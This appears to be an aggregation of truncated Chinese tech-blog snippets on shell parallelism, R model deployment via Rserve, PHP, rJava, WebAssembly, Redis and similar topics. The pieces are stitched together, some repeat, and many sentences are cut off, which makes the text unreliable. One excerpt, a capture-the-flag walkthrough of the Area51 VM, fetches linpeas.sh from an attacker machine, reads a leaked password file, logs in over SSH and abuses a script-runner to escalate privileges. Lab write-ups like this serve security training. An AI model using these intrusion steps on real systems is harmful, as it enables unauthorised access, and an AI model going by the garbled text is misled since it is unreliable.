文章目录 概述 常见的串行执行 使用&和wait改造 示例二 ? ---- 概述 我们知道shell中的命令都是串行执行的，如果想要充分利用服务器的资源，就需要些小技巧了。...---- 常见的串行执行 我们通过一个例子来演示下： ? 使用1.sh和2.sh模拟业务逻辑 [root@artisan test]# cat 1.sh #!...call_serial.sh 可知为【串行】 ---- 使用&和wait改造 在每个进程中使用&符号进行让脚本在后台运行，无需等待当前进程结束。...从执行结果来看，串行，每个进程都要耗时2秒，3个进程6秒处理完成 ---- 使用&和wait关键字来改造上上述脚本，使其并行执行 parallel.sh #!...从执行结果来看，并行，同时启动3个进程，3个进程2秒处理完成。 ----
，也就是需要跨环境，从Java跨到R或者Python环境。...用此种方法也是要提供两个东西，模型文件和预测主类； 如果是Offline（离线）预测的，D+1天的预测，则可以不用考虑第1、2中方式，可以简单的使用Rscript x.R或者python x.py的方式来进行预测...2.R模型上线-这块我们用的多，可以用R model转换PMML的方式来实现。 这里我介绍另一种的上线方式：Rserve。...具体实现方式是：用SOA调用Rserve的方式去实现，我们会在服务器上部署好R环境和安装好Rserve，然后用JAVA写好SOA接口，调用Rserve来进行预测； java调用Rserve方式见网页链接...从Kaggle数据集中分配评级 大多数短语都有中性评级。起初，我尝试使用多项式朴素贝叶斯分类器来预测5种可能类别中的一种。但是，由于大多数数据的评级为2，因此该模型的表现不佳。
如果是实时的、小数据量的预测应用，则采用的SOA调用Rserve或者python-httpserve来进行应用；这种应用方式有个缺点是需要启用服务来进行预测，也就是需要跨环境，从Java跨到R或者Python...用此种方法也是要提供两个东西，模型文件和预测主类； 如果是Offline（离线）预测的，D+1天的预测，则可以不用考虑第1、2中方式，可以简单的使用Rscript x.R或者python x.py...具体实现方式是：用SOA调用Rserve的方式去实现，我们会在服务器上部署好R环境和安装好Rserve，然后用JAVA写好SOA接口，调用Rserve来进行预测； java调用Rserve方式见网页链接...Shell来调度模型的实现方法-简单粗暴； 因为有些算法工程师想快速迭代，把模型模拟线上线看一下效果，所以针对离线预测的模型形式，还有一种最简单粗暴的方法，这种方法开发快速方便，具体做法如下： 写一下R的预测脚本...= xxx updatedt = xxx cd path hive -e "USE tmp_xxxdb;SELECT * FROM db.table1;" > ${data_filname}; # R脚本预测
，也就是需要跨环境，从Java跨到R或者Python环境。...用此种方法也是要提供两个东西，模型文件和预测主类； 如果是Offline（离线）预测的，D+1天的预测，则可以不用考虑第1、2中方式，可以简单的使用Rscript x.R或者python x.py的方式来进行预测...具体实现方式是：用SOA调用Rserve的方式去实现，我们会在服务器上部署好R环境和安装好Rserve，然后用JAVA写好SOA接口，调用Rserve来进行预测； Java调用Rserve方式见网页链接...的Shell来调度模型的实现方法—简单粗暴 因为有些算法工程师想快速迭代，把模型模拟线上线看一下效果，所以针对离线预测的模型形式，还有一种最简单粗暴的方法，这种方法开发快速方便，具体做法如下： 写一下R的预测脚本...= xxx updatedt = xxx cd path hive -e "USE tmp_xxxdb;SELECT * FROM db.table1;" > ${data_filname}; # R脚本预测
，也就是需要跨环境，从Java跨到R或者Python环境。...用此种方法也是要提供两个东西，模型文件和预测主类； 如果是Offline（离线）预测的，D+1天的预测，则可以不用考虑第1、2中方式，可以简单的使用Rscript x.R或者python x.py的方式来进行预测...具体实现方式是：用SOA调用Rserve的方式去实现，我们会在服务器上部署好R环境和安装好Rserve，然后用JAVA写好SOA接口，调用Rserve来进行预测； java调用Rserve方式见网页链接...的Shell来调度模型的实现方法-简单粗暴 因为有些算法工程师想快速迭代，把模型模拟线上线看一下效果，所以针对离线预测的模型形式，还有一种最简单粗暴的方法，这种方法开发快速方便，具体做法如下： 写一下R的预测脚本...= xxx updatedt = xxx cd path hive -e "USE tmp_xxxdb;SELECT * FROM db.table1;" > ${data_filname}; # R脚本预测
大多数 Linux 管理员使用 SAR 报告监控系统性能，因为它会收集一周的性能数据。但是，你可以通过更改 /etc/sysconfig/sysstat 文件轻松地将其延长到四周。...脚本 1：从 SAR 报告中获取平均 CPU 利用率的 Bash 脚本 该 bash 脚本从每个数据文件中收集 CPU 平均值并将其显示在一个页面上。...2：从 SAR 报告中获取平均内存利用率的 Bash 脚本 该 bash 脚本从每个数据文件中收集内存平均值并将其显示在一个页面上。...3：从 SAR 报告中获取 CPU 和内存平均利用率的 Bash 脚本 该 bash 脚本从每个数据文件中收集 CPU 和内存平均值并将其显示在一个页面上。...该脚本与上面相比稍微不同。它在同一位置同时显示两者（CPU 和内存）平均值，而不是其他数据。 # vi /opt/scripts/sar-cpu-mem-avg.sh#!
PHP在短短的几年内快速发展，从最开始几年的PHP4和PHP5的膨胀，到现在PHP8的版本发布，更新迭代的速度还是很快的。...Facebook就是构建在PHP网站之上的，早期微微博也同样用的PHP语言wiki百科同样使用PHP构建PHP是一个怎么样的语言虽然PHP被戏称脚本语言，但是实际上它是解释型语言，和广大编译运行的服务端语言没什么区别...从个人角度看PHP被称作脚本语言是比较合适的词，因为它在web领域如鱼得水。此外因为PHP是动态类型语言，开发者不需要关注变量类型，但是有时候又因为类型转化的问题出现一些难以察觉的错误。...; }}$roger = new Dog('Roger');$roger->bark();每个类默认有一个不执行任何工作的空构造器，重写之后如果无空构造函数，需要传入指定参数才能初始化，否则会出现PHP...include_once和require_once在没有_once的情况下执行与其相应函数相同的操作，但它们额外确保在进程执行期间仅包含一次文件。
（windows下是.lib/.dll）进行连接产生可执行文件。 ...库文件）相结合，整理写成可以用来发言的正式的发言稿（可执行文件）。 ...从编译原理上来说，声明是仅仅告诉编译器，有个某类型的变量会被使用，但是编译器并不会为它分配任何内存。而定义就是分配了内存。...#include "MainFile.h" char* roger_str="Roger Zhu";//定义 void MainFileFun() { printf("%s\r\n",roger_str...还有一些是关于类中使用extern和static的内容，我将在后面详述，还有就是和const的结合，已经在（一）中进行了叙述，这里就不累述了。
两全其美 我们可以利用R的统计能力和Python的编程能力吗?那么，当我们可以很容易地在R或Python脚本中嵌入SQL代码时，为什么不将R和Python混合在一起呢?...基本上有两种方法可以同时在一个项目中使用Python和R。 Python中的R PypeR PypeR提供了一种通过管道从Python访问R的简单方法。...pyRserve pyRserve使用Rserve作为RPC连接网关。通过这样的连接，可以在Python的R中设置变量，也可以远程调用R函数。...reticulate 包提供下列工具： 支持从R中以多种方式调用Python，包括R标记、加载Python脚本、导入Python模块，以及在R会话中交互式地使用Python。.../ SNAKES IN A PACKAGE: COMBINING PYTHON AND R WITH RETICULATE 结论 R和Python都是非常健壮的语言，它们中的任何一种实际上都足以执行数据分析任务
R一直是统计圈内处于佼佼者的语言，语法简单，学习曲线不太长也不太陡。如果能结合Java的通用性和R的专业性，碰撞出的火花，将会缤纷绚烂。 本文将介绍R与Java连接的高速通道，rJava通信方案。...另外一篇文章介绍的Rserve通信方案，请参考：Rserve与Java的跨平台通信 目录 rJava介绍 rJava安装 rJava实现R调用Java rJava(JRI)实现Java调用R...现在rJava包，已经成为很多基于Java开发R包的基础功能组件。 正式由于rJava是底层接口，并使用JNI作为接口调用，所以效率非常高。...在JRI的方案中，JVM直接通过内存直接加载RVM，调用过程性能几乎无损耗，因此是非常高效连接通道，是R和Java通信的首选开发包。...包括了R通过rJava调用Java，Java通过JRI调用R。并演示了win和linux中的使用方法。
以下为译文： 通过与大数据工具整合，R提供了大数据集的深度统计能力，包括统计分析以及数据驱动的可视化等。而在金融、药物、媒体及销售这些可直接从数据中获取决策的行业中，R更得到了深度应用。...而在企业市场，R的受欢迎程度同样如此，多个公司和项目都使用R，并将其提供给大数据科学家和业务用户，其中包括了微软的云计算Azure Machine Learning、IBM的Big R、Teradata...微软在Azure ML中提供了R语言的API和模板，支持了300多个使用R语言的包，同时用户不用从头做起，Azure ML允许开发者使用已有的部分来组装适合自己需求的模型。...这样做无疑降低了机器学习的使用门槛，让各种背景的数据科学家都可以使用。 IBM InfoSphere BigInsights Big R。...SAP将R与HANA集合。SAP整合了R语言和他们的内存数据库HANA，形成一个服务于移动、分析、数据服务和云集成服务的新平台，SAP通过Rserve（与R Server的通信器）实现了这个功能。
vm=Area51 名称：Area51(51区) 难度：中等 创作者：bit 发布日期：2021-12-24 目标：user.txt和root.txt 搭建靶机 下载完Area51.ova后，使用Oracle...docker里面，上传一个linpeas.sh搜集下信息 kali机器下载好linpeas.sh，新开一个终端页面开启远程下载服务 python3 -m http.server 7788 监听这边的终端页面执行下载...linpeas.sh wget http://192.168.2.148:7788/linpeas.sh 执行linpeas.sh信息收集 chmod +x linpeas.sh ..../linpeas.sh 发现一些目录查看下 cat /var/tmp/.roger，查询到roger的密码 使用ssh远程登录 ssh roger@192.168.2.108 拿到user.txt下的一个...看起来像是kang用户创建了一个shell脚本，执行所有的.sh文件并删除它们 echo "echo test >/tmp/test" > test.sh ls /tmp/test -l echo "
业界所说的 Shell 通常都是指 Shell 脚本，但要知道，Shell 和 Shell Script 是两个不同的概念。...不同的 Shell 脚本需要不同的 Shell 应用程序来执行，默认 Shell 应用程序都是执行 Bash 脚本的，如果需要切换 Node 脚本的执行环境，我们需要安装 Node，配置完成环境变量后，...输入node即可切换 Node 脚本的执行环境中。...查看脚本所在的 PATH 使用 type ls 可以看到寻找过程（在 Win 系统下好像没啥用） 使用 which ls 可以看到寻找结果 Shell 脚本 - Node 我们在 Bash 执行环境里输入...Bash 脚本，也可以在 Node 执行环境里输入 Node 脚本。
通常，WebAssembly 有四种数据类型（32 和 64 位整数，32 和 64 位浮点数），使用带有字符串参数（甚至 JSON 对象）的函数可能会很混乱。...请注意，此文件适用于 Browser 和 NodeJS 环境，它导出一个Go对象。 然后我们添加一个本地脚本。...在脚本中，我们执行以下操作： Instantiate Go from the wasm_exec.js....TinyGO 使用 TinyGo 是一个将 Golang 带入微控制器和现代网络浏览器的项目。他们有一个基于 LLVM 编译的全新编译器。...使用 TinyGo，我们可以生成经过优化以在芯片中执行的微小库。 TinyGo 允许为微控制器编译 Golang 源代码，它也可以将 Go 代码编译为 Wasm。
js获取地址栏的字段参数和字段值，通过js函数获取 例如： https://test.com/?name=roger https://test.com/hello?...name=roger&age=20&aa=bb&cc=123 要在浏览器内访问查询的值，使用JavaScript，我们有一个特殊的API，称为URLSearchParam，它受到所有现代浏览器的支持：...name=roger&name=flavio 我们无法检测参数是否被多次传递。如果我们使用parms .get(‘name’)，我们将只返回第一个值。...除了has()、get()和getAll()之外，URLSearchParams API还提供了一些其他的方法，我们可以使用它们来遍历参数: forEach()迭代参数 entries()返回一个包含参数...*)(&|$)', 'i'); var r = window.location.search.substr(1).match(reg); if (r !
本文试图寻找一种有效实践，减少php web程序和golang之间的性能差距，摆脱php在公司往后只能写后台的悲惨命运。...Opcodes，每次一条， 根据传入的zend_op_array指针，执行opcode并将结果返回输出 解释型语言性能问题也就是因为每次执行脚本，上述过程都会重复执行。...也就是opcode cache能带来CPU和内存开销的降低 APC， xcache， eAccelerator,opcache 使用共享内存进行存储，并且可以直接从中执行文件，而不用在执行前“反序列化...，使用golang的原生http模块echo helloworld 在24000 trans/sec 。...也是一样，性能损失50% 分析 分别执行一次请求，使用strace 分别跟踪master和worker执行, sudo strace -p 5450 -s 10000 -T ，具体调用操作见附录
我们还将看看R如何与Tableau集成和使用。 1.高级图形 几乎所有的Tableau用户都知道各种基本图形，例如介绍仪表板中显示的那些图形。...我想通过Clustering开始对R和Tableau的探索，所以我使用了超流行的Iris Dataset。 ?...以下描述了Tableau和R之间的控制流程，以实现此集成： R脚本作为表计算写入Tableau ，并发送到R的R服务包。在此模块执行必要的计算并将结果返回给Tableau。...现在让我们看看这个集成的步骤： 安装Rserve软件包 配置Tableau以在R中运行 打开Tableau - >帮助 - >设置和性能 - >管理R /外部连接。...现在让我们尝试与R一样，并比较我们将得到的两个可视化。我们将使用最常见的聚类算法K-Means： 从与上面第2点相同的散点图开始。 创建一个新的计算字段并填写以下内容： 为清楚起见，上述计算为： ?
实现消息队列的功能: 简单的队列操作使用list类型实现,L表示从左边(头部)开始插与弹出，R表示从右边(尾部)开始插与弹出,例如"lpush / rpop" - (满足先进先出的队列模式)和"rpush...，本节将介绍在Go语言中如何连接操作Redis数据库以及客户库的基本安装和使用。..., 一个事务从开始到执行会经历以下三个阶段：开始事务,命令入队,执行事务。...描述: 从 Redis 2.6.0 版本开始的，使用内置的 Lua 解释器，可以对 Lua 脚本进行求值, 所以我们可直接在redis客户端中执行一些脚本。...key [key …]: 从 EVAL 的第三个参数开始算起，表示在脚本中所用到的那些 Redis 键(key)，这些键名参数可以在 Lua 中通过全局变量 KEYS 数组，用 1 为基址的形式访问(
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